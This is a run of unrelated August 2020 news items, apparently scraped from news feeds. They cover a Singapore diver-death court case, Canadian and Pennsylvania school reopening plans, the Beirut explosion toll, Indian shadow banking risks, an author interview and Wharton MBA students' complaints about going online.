that sidestepped key questions and relied on selective stats, including the states official death toll figures. Were trying to find out what worked and what didnt work and that means trying to find patterns, said Bill Hammond, who works on health policy for the nonprofit Empire Center think tank. You cant do that if you have the wrong data. ___ AP reporters Jim Mustian and Marina Villeneuve, and investigative researcher Randy Herschaft contributed to this report. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor Judge's gavel. (Photo: Getty Images) SINGAPORE An underwater ship maintenance services firm and its employee were on Tuesday (11 August) fined and jailed respectively over the death of a commercial diver in 2014. Underwater Contractors was fined $300,000 for failing to ensure the safety of diver Kwok Khee Khoon who died on 4 June 2014 from traumatic asphyxia after he was sucked into an underwater pipe which hadnt been shut down. Meanwhile, assistant diving supervisor David Ng Wei Li, 37, was jailed for 12 weeks for committing a negligent act by instructing the divers under his charge to do underwater survey works despite knowing that the MV Frisia Kiels starboard sea chest pumps were in a state of reduced flow and could possibly suck divers into a pipe orifice. A sea chest sucks in seawater to cool engines and generators on board a ship. If it is switched off, the ship will not have electricity. Underwater Contractors had been engaged by Sleipner Shipping to do underwater survey work on the vessel MV Frisia Kiel, which was anchored at the Eastern Working Anchorage off the coast of Marina South. Both the company and Ng had claimed trial to their respective charges under the Workplace Safety and Health Act but were found guilty in February. Diver sucked into pipe orifice Ng, along with Kwok and four other divers, had carried out the underwater survey works after Ng briefed them on their job scopes and told them to approach the sea chest with caution. Ng and Kwok worked on the starboard sea chest box. Kwok was tasked to open and clean the gratings of the sea chests. Kwok remained close to Ng while he worked to provide light and to take a photo of the finished work. After Kwok took the photo, Ng asked Kwok to make space by rising to a higher position, which was not more than an arms length away from the pipe orifice. Ng then felt a fin slap his head and saw Kwok being sucked into the pipe orifice. He pulled Kwoks hand but could not overcome the force of the suction. Ng then left the sea chest box to get help and to inform the vessel to shut down the pipes. Story continues Attempts by other divers to pull Kwok from the pipe orifice failed. After the pump was shut down, Kwok was brought onto a boat motionless. He was pronounced dead by paramedics. Supervisor was aware of risk According to prosecutors from the Ministry of Manpower (MOM), Ng did not have reasonable grounds to believe that it was safe to work along and inside the starboard sea chest when the pumps were switched on at reduced flow, as there was a risk of being trapped by suction. The supervisor was aware of the risk and told the divers to proceed with care and to test for suction before proceeding with their work. Despite knowing that there was the risk of divers being trapped by suction, resulting in serious injury or death, when the pumps were switched on, the accused chose to instruct the divers to proceed with the survey works at the vessel, said MOM prosecutors Delvinder Singh and Shanty Priya. This was certainly conduct that fell below the standard of a reasonable assistant diving supervisor, and thus the accused is deemed to have failed in the discharge of his duty, they added. The prosecution pointed out that that safest manner of performing the diving works was to completely shut down the pumps in the sea chest. Underwater Contractors own risk assessment for work activities on 4 June 2014 stated that the existing risk control was for the pumps at the sea chest to be shut down during inspection. For their offences, Underwater Contractors could have been fined up to $500,000 while Ng could have been jailed for up to two years with a fine of up to $30,000. Stay in the know on-the-go: Join Yahoo Singapore's Telegram channel at http://t.me/YahooSingapore Other Singapore stories: Man who claimed trial to murdering father, 75, was likely of unsound mind during act Joseph Schooling, Quah Zheng Wen granted extensions to NS deferment for 2021 Tokyo Games I do not admit guilt: Li Shengwu to pay $15,000 fine for peace and quiet Limit sharing and require mask-wearing. Those are the key takeaways from Canadas back-to-school guidelines, which mirror Manitobas for the most part aside from the federal governments advice students older than 10 don face coverings during the school day. Hey there, time traveller! This article was published 10/8/2020 (526 days ago), so information in it may no longer be current. Limit sharing and require mask-wearing. Those are the key takeaways from Canadas back-to-school guidelines, which mirror Manitobas for the most part aside from the federal governments advice students older than 10 don face coverings during the school day. On Friday, the Public Health Agency of Canada released back-to-school guidelines that complement provincial health authority advice and stress the importance of tailoring plans to local communities. Similar to the messaging Manitoba chief Dr. Brent Roussin has repeated since March, the recommendations ask school staff and students to stay home when sick, practice frequent hand hygiene and maintain a two-metre distance between one another even between members of the same class and larger school cohort. JESSE BOILY / WINNIPEG FREE PRESS Dr. Brent Roussin, chief provincial public health officer Health, gives an update on the COVID-19 response in the province at the Legislature building on Monday. Both federal and provincial guidelines share in their support for installing age-appropriate signage, rearranging spaces, installing physical barriers where appropriate, ramping up sanitation and promoting outdoor learning. The documents also both discourage school assemblies and allowing visitors inside school facilities. However, Ottawas guidelines also get into the granular when it comes to preventing the spread of COVID-19 in schools by requiring older students to wear non-medical face masks, discouraging students from bringing cellphones and other personal items into classrooms, and assessing ventilation systems. On the subject of ventilation, Ottawa recommends teachers hold activities including lunch, classes and physical education outside as often as possible, ensure ventilation systems operate properly, increase air exchanges by adjusting HVAC systems and open windows when weather permits. "In general, outside is better than inside. Well-ventilated areas are better than poor-ventilated areas. Big crowds are not a good idea; the less crowded a room is, the better," said Silvia Cardona, a professor of microbiology at the University of Manitoba. Cardona said Monday an additional item to consider is how air currents work in a specific environment, and to ensure building circulation is flowing appropriately and not placing more people at risk of getting infected with droplets. In order to prevent the spread of droplets, she is in favour of mandating face masks in schools, a policy thathas been adopted for Grade 4-12 students in Ontario and Alberta, and Grade 5-12 students in Quebec (except in classrooms). Even younger students can learn how to wear masks properly if they are educated on how-to do so, she said. Parents, teachers and public health experts alike are torn on whether masks should be mandated for younger students, especially considering masks might encourage students to touch their faces more often than they would otherwise. The federal guidelines stress the importance of adopting repetitive public health measures when it comes to reopening schools, whether that be by creating hand hygiene routines or assigning seats. SUPPLIED PHOTO Dr. Jared Bullard, a pediatric infectious disease expert at the Children's Hospital in Winnipeg, says families can feel in control when it comes to a safe return to school by rehearsing new public health protocols at home. While a return to classroom instruction may seem daunting, Dr. Jared Bullard said families can find confidence in rehearsing the new protocols at home in a casual way prior to Sept. 8. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "Its kind of scary times with kids and seeing all this going on people dont want to get things wrong and the best way to not get things wrong is to make it routine," said Bullard, a pediatric infectious disease expert at the Childrens Hospital in Winnipeg. Other than that, Bullards recommendations to students and caregivers drawing on his own experience as a father is to physical distance and promote good hand hygiene. Emerging evidence shows people of all ages carry similar viral loads of COVID-19 and can subsequently spread the virus all the same, but the current consensus is children under 10 appear to experience less severe symptoms. Of the 558 confirmed cases of COVID-19 reported in the province to date, 3.6 per cent involve children under nine while 5.7 per cent involve youth between the ages of 10 and 19. maggie.macintosh@freepress.mb.ca Twitter: @macintoshmaggie Northrook, IL -- (SBWIRE) -- 08/11/2020 -- According to the new market research report "Oilfield Integrity Management Market by Management Type (Planning, Predictive Maintenance & Inspection, Corrosion Management, Data Management, and Monitoring System), Component (Hardware, Software, Services), Application, & Region - Global Forecast to 2025", published by MarketsandMarkets, the Oilfield Integrity Management Market size is expected to grow from an estimated USD 12.8 billion in 2020 to USD 18.8 billion by 2025, at a CAGR of 8.1%, during the forecast period. Increasing focus on remote monitoring of oilfields for process optimization and automation and stringent government regulations regarding environmental safety are the key factors driving the oilfield integrity management industry. Download PDF Brochure: https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=151211029 By management type, the monitoring system segment is the largest contributor in the Oilfield Integrity Management Market during the forecast period. The monitoring system includes machinery and equipment such as wireless sensors, analyzers, flow meters, smart well systems, SCADA systems, and DCS systems. The growth of the market is driven by its multiple advantages, such as a reduction in manual intervention, monitoring of remote locations oilfields, and collection of real-time data from sensors to detect equipment health. By component, the hardware segment is expected to grow at the fastest rate during the forecast period. The hardware segment accounted for the highest share of the Oilfield Integrity Management Market, by component during the forecast period. The adoption of digital technologies for collecting significant volumes of data is increasing the demand for hardware equipment in oilfields. It is responsible for surveillance and communication data transfer in both onshore and offshore fields. Browse in-depth TOC on "Oilfield Integrity Management Market" 113 Tables 61 Figures 246 Pages View Detailed Table of Content Here: https://www.marketsandmarkets.com/Market-Reports/oilfield-integrity-management-market-151211029.html By application, the onshore segment is expected to be the largest contributor during the forecast period. The onshore application segment held the largest share of the Oilfield Integrity Management Market in 2019. North America is estimated to be the largest market for onshore oilfield integrity management during the forecast period, owing to an increase in well count globally. Furthermore, the discoveries of shale reserves are also supporting the growth of the segment in North America. Middle East & Africa is expected to be the fastest-growing market during the forecast period. The Middle East & Africa consists of major oil & gas producing countries such as Saudi Arabia, the UAE, Kuwait, Iraq, and Iran, which have some of the largest petroleum reserves in the world. According to the BP Statistical Review of World Energy June 2019, Saudi Arabia, UAE, Kuwait, Iraq, Iran, and Qatar produced a combined 30% of global oil production in 2018. These countries export most of their production to neighboring Asian countries such as China and India, which have high energy demand. Furthermore, the growth of the market in the Middle East & Africa is due to the increasing number of drilling activities and the requirement for inspection and monitoring systems to optimize the production from mature fields. Speak to Analyst: https://www.marketsandmarkets.com/speaktoanalystNew.asp?id=151211029 The Oilfield Integrity Management Market is dominated by a few global players, mainly from the North American region. The key players in the Oilfield Integrity Management Market include companies such as Schlumberger (US), Halliburton (US), Baker Hughes Company (US), Siemens (Germany), Emerson (US), IBM (US), and Oracle (US). About MarketsandMarkets: MarketsandMarkets provides quantified B2B research on 30,000 high growth niche opportunities/threats which will impact 70% to 80% of worldwide companies' revenues. Currently servicing 7500 customers worldwide including 80% of global Fortune 1000 companies as clients. Almost 75,000 top officers across eight industries worldwide approach MarketsandMarkets for their painpoints around revenues decisions. Our 850 fulltime analyst and SMEs at MarketsandMarkets are tracking global high growth markets following the "Growth Engagement Model GEM". The GEM aims at proactive collaboration with the clients to identify new opportunities, identify most important customers, write "Attack, avoid and defend" strategies, identify sources of incremental revenues for both the company and its competitors. MarketsandMarkets now coming up with 1,500 MicroQuadrants (Positioning top players across leaders, emerging companies, innovators, strategic players) annually in high growth emerging segments. MarketsandMarkets is determined to benefit more than 10,000 companies this year for their revenue planning and help them take their innovations/disruptions early to the market by providing them research ahead of the curve. MarketsandMarkets's flagship competitive intelligence and market research platform, "Knowledgestore" connects over 200,000 markets and entire value chains for deeper understanding of the unmet insights along with market sizing and forecasts of niche markets. Contact: Mr. Aashish Mehra MarketsandMarkets INC. 630 Dundee Road Suite 430 Northbrook, IL 60062 USA : 1-888-600-6441 Email: sales@marketsandmarkets.com Content Source: https://www.marketsandmarkets.com/PressReleases/oilfield-integrity-management.asp Lebanon's caretaker Health Minister Hamad Hassan announced on Tuesday that the death toll from Beirut's explosions has reached 171 while the number of the missing people ranges between 30 and 40, the National News Agency reported. Hassan also noted that around 1,500 of the injured require accurate treatment while 120 others are still in the emergency rooms. His remarks came during his meeting with Rick Brennan, regional emergency director for the World Health Organization, to discuss challenges faced by the health sector in Lebanon following the explosions at Port of Beirut. Two huge explosions rocked Port of Beirut Aug. 4 at around 6:10 p.m. local time (1510 GMT), shaking buildings all over the Lebanese capital. Multiple countries, including France, Russia, China, Kuwait, Qatar, Jordan, Egypt and Britain, have rushed to the aid of Lebanon after the disaster. Search Keywords: Short link: (photo: Bob Blackwell) Tania Israel's Beyond Your Bubble: How to Connect Across the Political Divide, Skills and Strategies for Conversations that Work (APA LifeTools, August 11, 2020) is an accessible guidebook for initiating and improving communication across the aisle--or across the dinner table--and fostering connection despite political differences. Israel is a professor of counseling psychology at the University of California Santa Barbara, as well as the director of Project RISE, developing and studying interventions to support the psychological health of LGBTQ individuals and communities. Israel delivered the first ever TEDx talk on bisexuality, and was named one of the 2019 Congressional Women of the Year. Following the 2016 election of Donald Trump, you designed "The Flowchart that Will Resolve All Political Conflict in Our Country." A friend of yours quipped: "Way to overpromise!" But Beyond Your Bubble really does feel deliberately neutral in its politics and its delivery. Why was neutrality important to you, and how did you achieve that? I encourage readers to be respectful of people whose views differ from their own, and I work very hard to model that. As outlined in Chapter 5, I practice perspective taking, truly trying to understand a differing view within the context of someone else's experiences and values. Perhaps the book is not "neutral" as much as it is multiple. I also think my upbringing helps me to embrace multiple views. I grew up in Charlottesville, which has gained notoriety due to violent conflict about Confederate statues. Attending the only public high school in a multiracial college town surrounded by rural Virginia put me in contact with people who had a range of values, views and life experiences. I believe this exposure increased my comfort and open-heartedness toward people who hold differing opinions. Anxiety and fear can be among the many barriers to dialogue--in particular, fear of confrontation and fear of being misunderstood. How can the activities you include in the book help people build confidence in having productive dialogues despite these fears? In my field, confidence to perform a specific task is known as "self-efficacy," and the greatest contributor to self-efficacy is what we call "successful performance accomplishments." In other words, the best way to build confidence is to do something and succeed. Ideally, the book will help the reader develop the skills they need to succeed, and practicing the skills in low-stakes situations will help develop the confidence to tackle the really tough conversations. Did you foresee just how topical so many of the examples you use would be? On the heels of the Supreme Court's recent DACA decision, I am especially reminded of the hypothetical dialogues in the book on immigration and the ways your strategies might help readers talk about the latest news. I wrote this book during the past year, so it was clear what many of the divisive topics would be (although I didn't foresee Covid-19!). I wanted readers to find relevant examples and guidance for the issues that were most challenging for them, such as immigration, health care, abortion and the environment. Speaking of our current moment: Can we have productive dialogues, listening effectively, over Zoom? I'm wondering if your technique of "nuggetizing" might be useful here. It's easier to understand another perspective if we have multiple sources of input from a person who holds that perspective. Disembodied tweets or Facebook posts have little potential to promote understanding (and can, in fact, increase divisiveness). Phone conversations add nuance and tone, and videoconferencing, like Zoom, can enhance communication with non-verbal cues. This combination of words, vocal quality and visual information promote perspective-taking. As with any dialogue, it's important to use active listening skills (such as reflecting or "nuggetizing," as I call it) and to be able to take a break or end the Zoom call if fatigue sets in. How has your work as director of Project RISE informed your teaching and writing? For the past 25 years, my research has focused on interventions to support LGBTQ individuals and communities. This topic has put my work in the center of conflict in a rapidly changing societal context, which has provided me with opportunities for dialogue across difference. I have trained law enforcement on LGBTQ issues, facilitated conversations about religion and sexual orientation and informed policy about conversion therapy, all of which has honed my skills for and comfort with conflict. How do you center integrity and grace both in your writings and in your own day-to-day life? I live my life at the intersection of academia, politics and performance; none of these worlds is known for self-awareness and humility. What helps me maintain integrity and grace in my work and my life is my Buddhist practice, which offers me tools to grapple with the temptations of self-importance and conflict. What's the best comment you've received from someone who has read your book or attended one of your workshops? Last week, I spoke to a journalist who said, "Your book should be required reading for every American citizen." High praise, indeed (although the printer will need to step up production if this comes to pass). Who do you most hope reads your book? The ideal reader is anyone who is feeling distressed about their experience or anticipation of talking with someone across political lines. What are you reading right now? I love audiobooks, and my favorite genre is memoir, especially if it's read by the author. Covid-19 is giving me lots of opportunity to listen to books as I go on solo walks. My favorite quarantine books thus far have been Kiese Laymon's Heavy: An American Memoir and Paul Kalanithi's When Breath Becomes Air. In terms of fiction, I'm kind of obsessed with Taffy Brodesser-Akner's Fleishman Is in Trouble. A question you pose that I loved was, "How can sharing a pizza illustrate dynamics of dialogue across political lines?" Lots of ways, it turns out! To end on a fun note: what's on your ideal pizza? At the moment, given Covid-19, I'm not as tempted by specific pizza toppings as I am by the delightful notion of sharing food with other people, of gathering for a meal and connection and laughter. This is the magic of pizza--it's a collective experience, which is why I thought it to be such an apt metaphor for politics. --Katie Weed FLOURTOWN As school districts across Montgomery County continue to grapple with teaching strategies during the COVID-19 pandemic, Colonial School District has changed its tune. In an August 6 school board meeting broadcast online, the board reversed its initial health and safety plan for the 2020-21 school year and changed to a fully virtual plan, which is expected to be in effect until Nov. 30. The revision was passed in a 6-3 vote after more than five hours of discussion and comment. School board members Chris Epstein, Cathy Peduzzi and Vice President Beth Suchsland dissented. The decision to begin the year in a virtual mode was made with the safety of students and staff as our priority. We recognize that the guidance and statistics are continually changing, said Superintendent Mike Christian. The virus does not consider the boundaries of counties or cities and our students are presently still safer at home. Christian addressed the update in a letter to students, parents, staff, and community members on Aug. 8. Christian cited several factors for the change associated with testing, staffing challenges and lack of consistent medical guidance. According to the revised plan, students and staff will have access to synchronous lessons through Google Classroom and Canvas for students attending the districts seven schools. Those in need of a technological device will receive access and students will have access to educational materials needed for the upcoming school year. This fall, our schedules will include more synchronous (live) teaching as well as small group and individual instruction, student collaboration and group work, and grades/assessments, Christian said in the Aug. 8 letter. During the Aug. 6 meeting, school board members underscored the difficulty of the choice before them. Im torn. I feel like my back is up against the wall, and Im trying to make the best decision that I feel is in the best interest of our school students, said board member Chris Epstein. School Board President Susan Moore endorsed the administrations findings, adding that health and safety is paramount. We want to see our kids back in school. Our teachers want to teach those kids in person in school, Moore said. Our administrators wanted to go back to making the district the best it can be, but the safety of our children and staff will always be the most important factor, and if our administrators who have worked tirelessly trying to get the kids back to school believe its not possible to do it safely than I will stand behind them. Wissahickon Roughly five miles north of Colonial School Districts headquarters, in Ambler, leaders within Wissahickon School Districts administration felt some trepidation with a plan that was approved last month. In an Aug. 5 message to community members, Superintendent James Crisfield urged school board leaders to instead opt for a solely virtual model as a number of other school districts have taken the same route. I cannot speak to why other districts changed, Crisfield said in an Aug. 5 message. Here, while we were always concerned about our ability to every day, reliably, adequately and safely staff the buildings before our neighbors move to virtual, we are VERY concerned about it now. Crisfield expressed his concerns about health and safety during the public health crisis. Instead of calculating the rate of infections or deaths per x number of cases or people, I worry about just the numerator, Crisfield said. ANY number of cases worries me, especially if it comes from opening our schools. We can provide an education, virtually, until we beat this thing, he continued. Or we can try to open schools and take the risk. There is no right or wrong answer here just a judgment call as to which move is best, all things considered. While the initial teaching and learning plan passed in a 6-3 vote on July 22, Crisfields latest proposal was rejected in a 6-2 vote after a roughly 3.5-hour special board meeting on Aug. 6. School Board members Marshall Bleefeld and Ronnie Hayman were in favor of the virtual plan, while Amy Ginsburg was absent from the special board meeting, according to Communications Coordinator Kristen Rawlings. There is no escaping the long shadows of shadow banking firms in India in the time of pandemic-induced economic disruptions. The banking regulator RBI issued a clear warning on July 24, in its Fiscal Stability Report, that the economic disruptions may intensify risks to its shadow banking firms, the Non-Banking Financial Companies (NBFCs), "and consequently" the systemic risks to the entire financial sector. Threat to India's financial system The threats to the NBFCs come from two sources: (i) their deteriorating asset quality and (ii) continued reluctance of market to lend money in the aftermath of implosion in two leading NBFC players, Infrastructure Leasing & Financial Services Limited (IL&FS) and Dewan Housing Finance Corporation Ltd (DHFL) in 2018 and 2019. Both were taken over by the RBI for loan defaults and now face bankruptcy proceedings. The RBI report explained the risks even while saying that the overall outlook remained stable. It said: "Stress on non-banking financial companies and co-operative banks, that had mounted in the wake of credit events in 2019, has been exacerbated by risk aversion and flight to safety among banks, leading to funding constraints and differentiation in market access. The outlook remains clouded with considerable uncertainty as the pandemic takes its toll." About 50% of the NBFCs' aggregate assets were under the moratorium on loan repayment by the end of April. Banks, which have been fighting shy of lending directly to the industry because of growing threat of bad loans (non-performing assets or NPAs), increased their lending to the NBFCs in recent years, as a result of which bank lending accounted for 28.9% of the total NBFC borrowings in December 2019 - up from 23.1% in March 2017. The RBI noted that notwithstanding this support from banks, the real risks to the NBFCs' liquidity come from declining market borrowings. It said that under the stress tests, 11.2% to 19.5% of NBFCs would not be able to comply with the minimum regulatory capital requirements (CRAR) of 15%. The following graph maps the NBFCs' assets quality (GNPA and NNPA ratios) and capital-to-risk-assets ratio (CRAR) since FY14. In the meanwhile, the NBFCs have grown in influence, as is evident from the RBI data mapped below, against the GDP (at constant prices). Shadow banking not only poses a threat to India but is equally a risk to the global financial order. For better appreciation, the 2007-08 financial crisis needs to be revisited. Central role of shadow banking in 2007-08 financial meltdowns In 2017, the International Monetary Fund (IMF) released a special edition of its magazine 'Finance & Development', evocatively titled "Back to Basics". In one of the chapters, its economist, Laura E Kodres explained how shadow banks played a central role in the crisis of 2007-08. She wrote: "Shadow banks first caught the attention of many experts because of their growing role in turning home mortgages into securities. The "securitisation chain" started with the origination of a mortgage that then was bought and sold by one or more financial entities until it ended up part of a package of mortgage loans used to back a security that was sold to investors. The value of the security was related to the value of the mortgage loans in the package, and the interest on a mortgage-backed security was paid from the interest and principal homeowners paid on their mortgage loans. Almost every step from creation of the mortgage to sale the security took place outside the direct view of regulators." She explained that the problem arose when investors turned skittish about the "real worth" of the longer-term assets of shadow banks and many decided to withdraw at the same time. The shadow banks went into "fire sells" to meet the demand, putting other financial institutions in danger because of their inter-connectedness. Most importantly, it caught "real banks" (traditional or commercial banks) on the wrong foot because "some shadow banks were controlled by commercial banks". Whatever the logic of traditional or commercial banks may be, for running or promoting shadow banking, the real motive seemingly was to escape regulatory oversight and make higher profits. In fact, that is precisely how shadow banks emerged as big and powerful players in 1980s - the era marked by neoliberal (radical right) economics in which profit-making became the driving force of businesses. Prof. Nouriel Roubini of the New York University, better known as "Dr. Doom" for forewarning the impending "US housing burst" in 2006 and also predicting its recessionary impact world over, explained the emergence of shadow banking in his 2010 book, "Crisis Economics" (co-authored with Prof. Stephen Mihm of the University of Georgia). (Former RBI Governor Raghuram Rajan too had warned against the housing bubble.) The authors wrote: "A growing number of people who joined the financial services industry from the 1980s onward realised that they could make plenty of money, so long as they were willing to walk the banking tightrope without a safety net underneath. There were ways to conduct banking free of regulations, but also free of the protections afforded ordinary banks. So began a game of "regulatory arbitrage," the purposeful evasion of regulations in pursuit of higher profits. This quest gave rise to the shadow banks." Shadow banking, in the form of informal credit, has always existed outside regulatory oversight, like moneylenders providing credit to villagers for example, but it never threatened the world order in the way it did in the run-up to the 2007-08 financial crisis. Enduring overall growth in shadow banking When the world woke up and started monitoring shadow banking, Kodres recorded the growth in their assets. In 2015, she wrote, their assets in the US was 28% of the total financial sector (down from 32% in 2011); in the euro area, it was 33% (up from 32% in 2011) and globally they accounted for $92 trillion (up from $62 trillion in 2007 and $59 trillion during the crisis). One big initiative to monitor shadow banking was the multinational Financial Stability Board (FSB), set up in 2011. India is a part of this initiative. But Kodres was not happy. She commented: "The authorities (monitoring shadow banking) are making progress, but they work in the shadows themselves - trying to piece together disparate and incomplete data to see what, if any, systemic risks are associated with the various activities, entities, and instruments that comprise the shadow banking system." Initially, the FSB defined shadow banks broadly to include all entities "outside the regulated banking system that perform core banking function", which meant credit intermediation (taking money from savers and lending it to borrowers) and they were called Non-Banking Financial Intermediation (NBFI). In its latest report of January 2020, the FSB divided those into three categories: (a) MUNFI (Monitoring Universe of Non-bank Financial Intermediation): "broad measure" of all NBFIs that are not central banks, banks or public financial institutions (b) OFIs (Other Financial Intermediaries): a subset of MUNFI that excludes insurance corporations, pension funds or financial auxiliaries and (c) NBFIs: "narrow measure" of NBFI comprising of non-banks that authorities have identified as the ones that may pose bank-like financial stability risks and/or regulatory arbitrage. The NBFIs (narrow measure) are the ones identified as posing systemic risks. Heightened systemic risks from shadow banking The 2020 FSB report shows that global estimates for the MUNFI assets stood at $183.6 trillion in 2018 or 49% of the total financial assets ($379 trillion). Of this, OFIs accounted for $114.3 trillion (30% of the total); NBFI for $50.9 trillion (13.4% of the total), and the rest for $18 trillion. The FSB 2020 report says the "systemic risk" comes from activities that are "typically performed by banks, such as maturity/liquidity transformation and the creation of leverage". The alarming aspect of the NBFI is that it is growing. The FSB 2020 report says it "has grown faster than GDP since 2012, increasing to 77% of all participating jurisdictions' GDP in 2018 from 64% in 2012. This trend is observed in most jurisdictions". The FSB measures 29 jurisdictions (including India and China), representing over 80% of global GDP. Growth in India's shadow banking (NBFCs) What does the FSB of 2020 say about India? (India's NBFCs correspond to the NBFIs.) It shows India is an outlier - in a negative way. Here are two examples. India recorded 22.4% growth in OFI assets in 2018, while the global growth was 0.4%. As for NBFIs (NBFCs in India), a major drawback is their over-dependence on short-term funding for long-term lending (technically called EF2 function). Globally, such funding accounted for 7% of the total in 2018 and it grew 6.9%. In sharp contrast, India recorded a 17.4% growth in 2018. As for its share in the total NBFC funding, the RBI's banking trend report released in December 2017 revealed that it stood at an unbelievably high of 99.7%. In the NBFC context, short-term means a period of up to three years and long-term for up to 15 years, as in the case of housing and infrastructure loans. Why such anomaly continues in the NBFCs' functioning is an abiding mystery. Little wonder, when the NBFC crisis hit India in 2018 and 2019, the two big players to implode (IL&FS and DHIL) were associated with infrastructure and housing sectors, though this is only one part of the saga. A plea challenging the COMDEK decision to conduct the exam amid the coronavirus pandemic has been filed in the Karnataka High Court The Consortium of Medical, Engineering and Dental Colleges of Karnataka (COMDEK) has released the admit card for undergraduate entrance test (UGET) 2020 on its website - comedk.org. The entrance examination will be held on 19 August in two shifts. The first shift will be from 9 am to 12 noon and the second shift will be from 2:30 pm to 5:30 pm. COMEDK on its website said, "Test Admission Ticket is available in Candidate Login ID now. Please read instructions before attending the exam on 19 August 2020." It further said that the helpline will remain closed due to the COVID-19 pandemic and all queries of candidates will be answered via email. The queries should be sent to studenthelpdesk@comedk.org. A report by NDTV said that the exam is held every year in around 190 engineering colleges. The examination for the 2020-21 academic year will be conducted online across 300 centres for engineering programs which offer around 20,000 seats. The exam will be followed by online counselling. A plea challenging the COMDEK decision to conduct the exam on 19 August has been filed in the Karnataka High Court. Candidates will have to follow all the health ministry guidelines regarding COVID-19, including maintaining physical distancing and having Aarogya Setu app. Examinees also need to carry their own gloves, masks, and hand sanitisers. Steps to download COMEDK UGET 2020 admit card: Step 1: Go to the official website - comedk.org Step 2: Click on link for Candidates Portal Step 3: Log in using your registration credentials Step 4: Click on COMEDK UGET 2020 Admit Card Link Step 5: The admit card will be displayed on the screen. Download and take a printout. UGET is conducted for admission to BE or BTech courses in colleges affiliated to the Karnataka Professional Colleges Foundation Trust. An animal-tracking system developed by Saule Technologies will support the monitoring of European bison in Ukraine. Local partner World Wide Fund for Nature (WWF) Ukraine, WWF Poland and Saule Technologies will cooperate on the Perovskite Solar Module Enabled IOT Asset Tracking for Wildlife Conservation initiative under the Challenge Fund: Polish Solutions for SDGs Fund, with the financial support of the Ministry of Foreign Affairs of the Republic of Poland. The European There will be no in-person classes when Wharton MBAs begin learning later this month. That has led to widespread dissension among admits. Wharton photo Coronavirus has been the most talked-about element in higher education for about six months now. Some schools have undoubtedly handled the pandemic better than others. As The Wharton School at the University of Pennsylvania prepares for a fall semester that the school recently announced will begin fully online because of the continuing risk of the pandemic, MBA admits are coming forward to say that their alma-mater-to-be has fumbled its pandemic response at key moments and has a Class of 2022 full of angry and disappointed students as a result. The eruption of discontent comes after Whartons announcement late last month that plans for a hybrid approach this fall have been suspended in response to a national resurgence of the coronavirus Covid-19. The incoming MBA admits dont spare new Dean Erika James, calling her a crisis management expert who cant handle a crisis; as one tells Poets&Quants, he and his classmates are paying the price for a lack of leadership at the precise moment when the school needs it most. Their biggest criticism: Wharton misled admits with poor communication throughout the summer, delaying announcements and moving back deadlines, then made its big announcement about going fully online to start the fall without also having a Q&A session or offering much additional information. Additionally, they say, the school has not brought students into any of the decision-making about the fall and has been unforgivably inflexible in granting deferrals or considering discounted tuition. I SHARE IN YOUR DISAPPOINTMENT There has been excessively poor communication between the administration and students, with many representatives of the Wharton administration urging students to move to Philadelphia right up until now, one student says of the late-July announcement of an entirely virtual start to classes, which are slated to begin August 19. Many students have given up offers at other schools, left their jobs, and moved halfway around the world to attend a program that is now very different from what they paid for. Story continues The schools hybrid approach was originally communicated on July 6, and then reaffirmed in email messages to students on July 9th and 21st. Ten days later, on July 31, came official notification that all courses would pretty much be online. There were countless promises and misleading communications sent out by the Wharton administration, grouses on admitted student. International students, who have been fighting for months to secure visas to get here, have been especially pushed aside. To receive this surprise update right before school starts, rather than months ago, has disrupted and upended everyones plans. Like every school, of course, Wharton is struggling to navigate through an unprecedented health crisis amid great uncertainty. Re-opening a business school campus, moreover, is dependent on guidelines and rules from the Centers for Disease Control, the state government and the University of Pennsylvania. In communicating its change of heart on July 31, the school was clearly apologetic in its messaging. I share in your disappointment, wrote Howie Kaufold, vice dean of Whartons MBA program. For the past several months, we concentrated our efforts on creating plans for an in-person experience for you but as the developments unfolded over the last two weeks, It became clear that what we could deliver would not be sustainable amid the shifting situation, nor worth the heightened risk for those of you attending. It is now evident that rather than plateauing during the summer, as many health expert expected, COVID-19 has instead gained momentum. COVID CASES IN PHILADELPHIA HAVE DOUBLED SINCE WHARTON ANNOUNCED ITS HYBRID REOPENING In fact, new daily cases of coronavirus in Philadelphia have more than doubled from July 6 when Wharton officially announced it would go hybrid, to July 31 when the school reversed its decision, jumping from 450 to 970 new cases a day. In that same timeframe, daily deaths attributed to COVID in Philadelphia rose from one on July 6 to 13 on July 31. Nonetheless, these numbers are far below the peak of cases on April 9, when there were 1,989 new confirmed COVID cases, while daily deaths from COVID reached a peak of 554 on May 5 in Philadelphia. Wharton is the only M7 business school that elite group including Harvard, Stanford, Wharton, Columbia, Chicago, Northwestern, and MIT that has thus far announced the fall will be online. All the other schools are sticking with their hybrid formats. Fueling the frustration of students is their lack of involvement in the planning of a fall return. Stanfords Graduate School of Business put students members on its faculty and staff task force. That did not happen at Wharton. In, fact, complain students, the school didnt even informally consult with students on the plans. From our perspective, they didnt survey us and they didnt ask for our input, says a second-year MBA. They didnt ask for students on the task force. Students proposed things and they largely went unanswered. I dont know if it is flat-footed but it just doesnt feel particularly innovative, forward-looking or responsive. They generally do not provide clarity on their decisions. They provide no backup or justification for their changes despite the fact that students have asked for it repeatedly. A spokesperson for Wharton did not return phone and email calls for comment. DID WHARTON PLAN ALL ALONG TO GO VIRTUAL? Former Emory Goizueta Dean Erika James officially began her term as dean of the Wharton School at the University of Pennsylvania on July 1, taking over from Geoff Garrett. Courtesy photo Poets&Quants spoke with six Wharton admits to the MBA Class of 2022 and a second-year student in the Class of 2021. Five of the half-dozen admits considered deferrals but were either denied or declined to pursue one because they expected to be denied. A sixth admit, accepted to another school, has opted to go there instead, partly because of what she characterizes as Whartons missteps. All asked for, and were granted, anonymity to avoid potential reprisals from the school or colleagues. Much of their criticism is also supported by a student survey in Julybefore the decision to cancel in-person classesbased on the responses of 572 members of the MBA Class of 2021 (see This Survey Fully Captures MBA Discontent In The Age of COVID). The survey found that 78% of the second-year students are not excited about the upcoming semester, and 94% of them feel the value of their overall MBA experience has diminished by at least 40%. When asked to rate their expectations for the fall semester on a scale of 1 (would rather defer) to 10 (very excited), 78% of the responding students rated it 5 or below. No less crucial, 86% of the students responding to the survey feel that Wharton has not incorporated student feedback in the decision-making process for this fall. In the short-term, moreover, 31% of the students indicated that they are likely to request a leave of absence this fall, making Whartons planning for future classes more difficult. Over the long-term, 69% of 